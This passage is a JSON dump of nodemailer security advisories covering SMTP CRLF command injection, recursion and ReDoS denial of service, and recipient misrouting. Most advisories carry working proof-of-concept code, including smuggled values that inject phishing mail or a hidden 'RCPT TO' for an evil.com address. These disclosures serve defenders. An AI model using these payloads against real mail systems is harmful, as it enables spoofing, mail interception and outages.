exchanges.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-15T17:34:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-r7g4-qg5f-qqm2","https://nvd.nist.gov/vuln/detail/CVE-2026-82662","https://www.vulncheck.com/advisories/nodemailer-before-8.0.8-tls-certificate-validation-bypass","https://github.com/advisories/GHSA-r7g4-qg5f-qqm2"],"source_kind":"github","identifiers":["GHSA-r7g4-qg5f-qqm2","CVE-2026-82662"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T18:00:08.064Z","updated_at":"2026-10-26T21:02:58.695Z","epss_percentage":0.00192,"epss_percentile":0.08785,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN2c0LXFnNWYtcXFtMs4ABYrh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yN2c0LXFnNWYtcXFtMs4ABYrh","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"8.0.8","vulnerable_version_range":"\u003c= 8.0.7"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN2c0LXFnNWYtcXFtMs4ABYrh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12dmpqLXhjamctZ3I1Z84ABU79","url":"https://github.com/advisories/GHSA-vvjj-xcjg-gr5g","title":"Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) ","description":"### Summary\n\nNodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\\r\\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.\n\n### Details\n\nThe vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command:\n\n```javascript\n// lib/smtp-connection/index.js, line 71\nthis.name = this.options.name || this._getHostname();\n\n// line 1336\nthis._sendCommand('EHLO ' + this.name);\n```\n\nThe `_sendCommand` method writes the string directly to the socket followed by `\\r\\n` (line 1082):\n\n```javascript\nthis._socket.write(Buffer.from(str + '\\r\\n', 'utf-8'));\n```\n\nIf the `name` option contains `\\r\\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\\r\\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever.\n\nThis is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.\n\nThe `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.\n\n### PoC\n\n```javascript\nconst nodemailer = require('nodemailer');\nconst net = require('net');\n\n// Simple SMTP server to observe injected commands\nconst server = net.createServer(socket =\u003e {\n    socket.write('220 test ESMTP\\r\\n');\n    socket.on('data', data =\u003e {\n        const lines = data.toString().split('\\r\\n').filter(l =\u003e l);\n        lines.forEach(line =\u003e {\n            console.log('SMTP CMD:', line);\n            if (line.startsWith('EHLO') || line.startsWith('HELO'))\n                socket.write('250 OK\\r\\n');\n            else if (line.startsWith('MAIL FROM'))\n                socket.write('250 OK\\r\\n');\n            else if (line.startsWith('RCPT TO'))\n                socket.write('250 OK\\r\\n');\n            else if (line === 'DATA')\n                socket.write('354 Go\\r\\n');\n            else if (line === '.')\n                socket.write('250 OK\\r\\n');\n            else if (line === 'QUIT')\n                { socket.write('221 Bye\\r\\n'); socket.end(); }\n            else if (line === 'RSET')\n                socket.write('250 OK\\r\\n');\n        });\n    });\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n    const port = server.address().port;\n\n    // Inject a complete phishing email via EHLO name\n    const transport = nodemailer.createTransport({\n        host: '127.0.0.1',\n        port: port,\n        secure: false,\n        name: 'legit.host\\r\\nMAIL FROM:\u003cattacker@evil.com\u003e\\r\\n'\n            + 'RCPT TO:\u003cvictim@target.com\u003e\\r\\nDATA\\r\\n'\n            + 'From: ceo@company.com\\r\\nTo: victim@target.com\\r\\n'\n            + 'Subject: Urgent\\r\\n\\r\\nPhishing content\\r\\n.\\r\\nRSET'\n    });\n\n    transport.sendMail({\n        from: 'legit@example.com',\n        to: 'legit-recipient@example.com',\n        subject: 'Normal email',\n        text: 'Normal content'\n    }, () =\u003e { server.close(); process.exit(0); });\n});\n```\n\nRunning this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.\n\n### Impact\n\n**Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes:\n- Multi-tenant SaaS platforms with per-tenant SMTP configuration\n- Admin panels where SMTP hostname/name settings are stored in databases\n- Applications loading SMTP config from environment variables or external sources\n\n**What can an attacker do:**\n1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands\n2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion\n3. **Conduct phishing attacks** using the legitimate SMTP server as a relay\n4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO\n5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN\n\nThe injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.\n\n**Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example:\n\n```javascript\nthis.name = (this.options.name || this._getHostname()).replace(/[\\r\\n]/g, '');\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-08T15:05:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g","https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e","https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5","https://github.com/advisories/GHSA-vvjj-xcjg-gr5g"],"source_kind":"github","identifiers":["GHSA-vvjj-xcjg-gr5g"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T16:00:10.115Z","updated_at":"2026-10-24T21:04:04.774Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12dmpqLXhjamctZ3I1Z84ABU79","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12dmpqLXhjamctZ3I1Z84ABU79","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"8.0.5","vulnerable_version_range":"\u003c= 8.0.4"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12dmpqLXhjamctZ3I1Z84ABU79/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jN3czLXg5M2YtcW1tOM4ABUWj","url":"https://github.com/advisories/GHSA-c7w3-x93f-qmm8","title":"Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter","description":"### Summary\nWhen a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\\r\\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails.\n\n\n### Details\nIn `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization:\n\n```javascript\nif (this._envelope.size \u0026\u0026 this._supportedExtensions.includes('SIZE')) {\n    args.push('SIZE=' + this._envelope.size);\n}\n```\n\nThis contrasts with other envelope parameters in the same function that ARE properly sanitized:\n- **Addresses** (`from`, `to`): validated for `[\\r\\n\u003c\u003e]` at lines 1107-1127\n- **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183\n\nThe `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim:\n\n```javascript\nconst standardFields = ['to', 'cc', 'bcc', 'from'];\nObject.keys(envelope).forEach(key =\u003e {\n    if (!standardFields.includes(key)) {\n        this._envelope[key] = envelope[key];\n    }\n});\n```\n\nSince `_sendCommand()` writes the command string followed by `\\r\\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command.\n\nNote: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. \nWhile this limits the attack surface, applications that expose envelope configuration to users are affected.\n\n### PoC\nave the following as `poc.js` and run with `node poc.js`:\n\n```javascript\nconst net = require('net');\nconst nodemailer = require('nodemailer');\n\n// Minimal SMTP server that logs raw commands\nconst server = net.createServer(socket =\u003e {\n    socket.write('220 localhost ESMTP\\r\\n');\n    let buffer = '';\n    socket.on('data', chunk =\u003e {\n        buffer += chunk.toString();\n        const lines = buffer.split('\\r\\n');\n        buffer = lines.pop();\n        for (const line of lines) {\n            if (!line) continue;\n            console.log('C:', line);\n            if (line.startsWith('EHLO')) {\n                socket.write('250-localhost\\r\\n250-SIZE 10485760\\r\\n250 OK\\r\\n');\n            } else if (line.startsWith('MAIL FROM')) {\n                socket.write('250 OK\\r\\n');\n            } else if (line.startsWith('RCPT TO')) {\n                socket.write('250 OK\\r\\n');\n            } else if (line === 'DATA') {\n                socket.write('354 Start\\r\\n');\n            } else if (line === '.') {\n                socket.write('250 OK\\r\\n');\n            } else if (line.startsWith('QUIT')) {\n                socket.write('221 Bye\\r\\n');\n                socket.end();\n            }\n        }\n    });\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n    const port = server.address().port;\n    console.log('SMTP server on port', port);\n    console.log('Sending email with injected RCPT TO...\\n');\n\n    const transporter = nodemailer.createTransport({\n        host: '127.0.0.1',\n        port,\n        secure: false,\n        tls: { rejectUnauthorized: false },\n    });\n\n    transporter.sendMail({\n        from: 'sender@example.com',\n        to: 'recipient@example.com',\n        subject: 'Normal email',\n        text: 'This is a normal email.',\n        envelope: {\n            from: 'sender@example.com',\n            to: ['recipient@example.com'],\n            size: '100\\r\\nRCPT TO:\u003cattacker@evil.com\u003e',\n        },\n    }, (err) =\u003e {\n        if (err) console.error('Error:', err.message);\n        console.log('\\nExpected output above:');\n        console.log('  C: MAIL FROM:\u003csender@example.com\u003e SIZE=100');\n        console.log('  C: RCPT TO:\u003cattacker@evil.com\u003e        \u003c-- INJECTED');\n        console.log('  C: RCPT TO:\u003crecipient@example.com\u003e');\n        server.close();\n        transporter.close();\n    });\n});\n```\n\n**Expected output:**\n```\nSMTP server on port 12345\nSending email with injected RCPT TO...\n\nC: EHLO [127.0.0.1]\nC: MAIL FROM:\u003csender@example.com\u003e SIZE=100\nC: RCPT TO:\u003cattacker@evil.com\u003e\nC: RCPT TO:\u003crecipient@example.com\u003e\nC: DATA\n...\nC: .\nC: QUIT\n```\n\nThe `RCPT TO:\u003cattacker@evil.com\u003e` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email.\n\n### Impact\nThis is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can:\n\n- **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport\n- **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server)\n- **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery\n\nThe severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.\n\nAffected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-03-26T22:26:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8","https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651","https://github.com/advisories/GHSA-c7w3-x93f-qmm8"],"source_kind":"github","identifiers":["GHSA-c7w3-x93f-qmm8"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-26T23:00:10.996Z","updated_at":"2026-10-24T21:04:19.993Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jN3czLXg5M2YtcW1tOM4ABUWj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jN3czLXg5M2YtcW1tOM4ABUWj","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"8.0.4","vulnerable_version_range":"\u003c 8.0.4"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jN3czLXg5M2YtcW1tOM4ABUWj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00Nmo1LTZmZzUtNGd2M84ABP7n","url":"https://github.com/advisories/GHSA-46j5-6fg5-4gv3","title":"Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.\n\n## Original Description\nA flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-12-18T09:30:30.000Z","withdrawn_at":"2026-02-03T17:37:53.000Z","classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v","https://nvd.nist.gov/vuln/detail/CVE-2025-14874","https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150","https://access.redhat.com/security/cve/CVE-2025-14874","https://bugzilla.redhat.com/show_bug.cgi?id=2418133","https://github.com/nodemailer/nodemailer","https://github.com/advisories/GHSA-46j5-6fg5-4gv3"],"source_kind":"github","identifiers":["GHSA-46j5-6fg5-4gv3"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-18T23:00:07.812Z","updated_at":"2026-10-24T21:05:33.403Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Nmo1LTZmZzUtNGd2M84ABP7n","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00Nmo1LTZmZzUtNGd2M84ABP7n","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"7.0.11","vulnerable_version_range":"\u003c 7.0.11"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Nmo1LTZmZzUtNGd2M84ABP7n/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yY21oLXFqcWgtcDk4ds4ABPEh","url":"https://github.com/advisories/GHSA-rcmh-qjqh-p98v","title":"Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls","description":"### Summary\nA DoS can occur that immediately halts the system due to the use of an unsafe function.\n\n### Details\nAccording to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.\nHowever, the code implemented for this flattening process can be exploited by malicious input and triggers DoS\n\nRFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.\nAt the following location in lib/addressparser/index.js:\n\nhttps://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90\n\nthere is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:\n\n```g0: g1: g2: g3: ... gN: victim@example.com;```\n\nBecause no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern\n`addressparser → _handleAddress → addressparser → ...`\nfor each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.\n\nThe problematic code section is as follows:\n```js\nif (isGroup) {\n    ...\n    if (data.group.length) {\n        let parsedGroup = addressparser(data.group.join(',')); // \u003c- boom!\n        parsedGroup.forEach(member =\u003e {\n            if (member.group) {\n                groupMembers = groupMembers.concat(member.group);\n            } else {\n                groupMembers.push(member);\n            }\n        });\n    }\n}\n```\n`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.\n\n### PoC\n\n```\nconst nodemailer = require('nodemailer');\n\nfunction buildDeepGroup(depth) {\n  let parts = [];\n  for (let i = 0; i \u003c depth; i++) {\n    parts.push(`g${i}:`);\n  }\n  return parts.join(' ') + ' user@example.com;';\n}\n\nconst DEPTH = 3000; // \u003c- control depth \nconst toHeader = buildDeepGroup(DEPTH);\nconsole.log('to header length:', toHeader.length);\n\nconst transporter = nodemailer.createTransport({\n  streamTransport: true,\n  buffer: true,\n  newline: 'unix'\n});\n\nconsole.log('parsing start');\n\ntransporter.sendMail(\n  {\n    from: 'test@example.com',\n    to: toHeader,\n    subject: 'test',\n    text: 'test'\n  },\n  (err, info) =\u003e {\n    if (err) {\n      console.error('error:', err);\n    } else {\n      console.log('finished :', info \u0026\u0026 info.envelope);\n    }\n  }\n);\n```\nAs a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.\n\n### Impact\nThe attacker can achieve the following:\n\n1. Force an immediate crash of any server/service that uses Nodemailer\n2. Kill the backend process with a single web request\n3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-01T20:44:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v","https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150","https://nvd.nist.gov/vuln/detail/CVE-2025-14874","https://access.redhat.com/security/cve/CVE-2025-14874","https://bugzilla.redhat.com/show_bug.cgi?id=2418133","https://github.com/nodemailer/nodemailer/commit/6218b8df","https://github.com/advisories/GHSA-rcmh-qjqh-p98v"],"source_kind":"github","identifiers":["GHSA-rcmh-qjqh-p98v","CVE-2025-14874"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-01T21:00:08.484Z","updated_at":"2026-10-29T20:02:57.980Z","epss_percentage":0.00599,"epss_percentile":0.48531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yY21oLXFqcWgtcDk4ds4ABPEh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yY21oLXFqcWgtcDk4ds4ABPEh","packages":[{"ecosystem":"maven","package_name":"org.webjars.npm:nodemailer","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.0.0, \u003c= 6.10.1"}],"purl":null},{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"7.0.11","vulnerable_version_range":"\u003e= 3.0.0, \u003c= 7.0.10"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yY21oLXFqcWgtcDk4ds4ABPEh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qajM3LTMzNzctbTZ2ds4ABOj3","url":"https://github.com/advisories/GHSA-jj37-3377-m6vv","title":"Duplicate Advisory: Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-mm7p-fcc7-pg87. This link is maintained to preserve external references.\n\n## Original Description\nA vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-11-14T21:30:29.000Z","withdrawn_at":"2025-11-17T17:17:33.000Z","classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87","https://nvd.nist.gov/vuln/detail/CVE-2025-13033","https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626","https://access.redhat.com/security/cve/CVE-2025-13033","https://bugzilla.redhat.com/show_bug.cgi?id=2402179","https://github.com/nodemailer/nodemailer","https://access.redhat.com/errata/RHSA-2026:15979","https://access.redhat.com/errata/RHSA-2026:3751","https://github.com/advisories/GHSA-jj37-3377-m6vv"],"source_kind":"github","identifiers":["GHSA-jj37-3377-m6vv"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-17T18:00:08.608Z","updated_at":"2026-10-24T21:05:45.727Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajM3LTMzNzctbTZ2ds4ABOj3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qajM3LTMzNzctbTZ2ds4ABOj3","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"7.0.7","vulnerable_version_range":"\u003c 7.0.7"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajM3LTMzNzctbTZ2ds4ABOj3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tbTdwLWZjYzctcGc4N84ABNC0","url":"https://github.com/advisories/GHSA-mm7p-fcc7-pg87","title":"Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict","description":"The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"xclow3n@gmail.com x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n  service: \"gmail\",\n  auth: {\n    user: \"\",\n    pass: \"\",\n  },\n});\n\nlet mailOptions = {\n  from: '\"Test Sender\" \u003cyour_email@gmail.com\u003e', \n  to: \"\\\"xclow3n@gmail.com x\\\"@internal.domain\",\n  subject: \"Hello from Nodemailer\",\n  text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) =\u003e {\n  if (error) {\n    return console.log(\"Error: \", error);\n  }\n  console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () =\u003e {\n  const parser = await import(\"@sparser/email-address-parser\");\n  const { EmailAddress, ParsingOptions } = parser.default;\n  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n  if (!parsed) {\n    console.error(\"Invalid email address:\", mailOptions.to);\n    return;\n  }\n\n  console.log(\"Parsed email:\", {\n    address: `${parsed.localPart}@${parsed.domain}`,\n    local: parsed.localPart,\n    domain: parsed.domain,\n  });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n  address: '\"xclow3n@gmail.com x\"@internal.domain',\n  local: '\"xclow3n@gmail.com x\"',\n  domain: 'internal.domain'\n}\n```\n\nBut the email is sent to `xclow3n@gmail.com`\n\n\u003cimg width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" /\u003e\n\n\n### Impact:\n\n-    Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n-    Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n-    Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n-    Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-10-07T13:42:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87","https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626","https://nvd.nist.gov/vuln/detail/CVE-2025-13033","https://access.redhat.com/security/cve/CVE-2025-13033","https://bugzilla.redhat.com/show_bug.cgi?id=2402179","https://github.com/advisories/GHSA-mm7p-fcc7-pg87"],"source_kind":"github","identifiers":["GHSA-mm7p-fcc7-pg87","CVE-2025-13033"],"repository_url":"https://github.com/nodemailer/nodemailer","blast_radius":29.32548784809111,"created_at":"2025-10-07T14:00:07.299Z","updated_at":"2026-10-24T21:06:01.497Z","epss_percentage":0.00575,"epss_percentile":0.46636,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbTdwLWZjYzctcGc4N84ABNC0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tbTdwLWZjYzctcGc4N84ABNC0","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"7.0.7","vulnerable_version_range":"\u003c 7.0.7"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbTdwLWZjYzctcGc4N84ABNC0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05aDZnLXByMjgtN2NxcM4AA4-p","url":"https://github.com/advisories/GHSA-9h6g-pr28-7cqp","title":"nodemailer ReDoS when trying to send a specially crafted email","description":"### Summary\nA ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter `attachDataUrls` set, causing the stuck of event loop. \nAnother flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop. \n\n### Details\n\nRegex: /^data:((?:[^;]*;)*(?:[^,]*)),(.*)$/\n\nPath: compile -\u003e getAttachments -\u003e _processDataUrl\n\nRegex: /(\u003cimg\\b[^\u003e]* src\\s*=[\\s\"']*)(data:([^;]+);[^\"'\u003e\\s]+)/\n\nPath: _convertDataImages\n\n### PoC\n\nhttps://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6\nhttps://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698\n\n```js\nasync function exploit() {\n   const MailComposer = require(\\\"nodemailer/lib/mail-composer\\\");\n   const MailComposerObject = new MailComposer();\n\n   // Create a malicious data URL that will cause excessive backtracking\n   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack\n   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';\n\n   // Call the vulnerable method with the crafted input\n   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });\n}\n\nawait exploit();\n```\n\n### Impact\n\nReDoS causes the event loop to stuck a specially crafted evil email can cause this 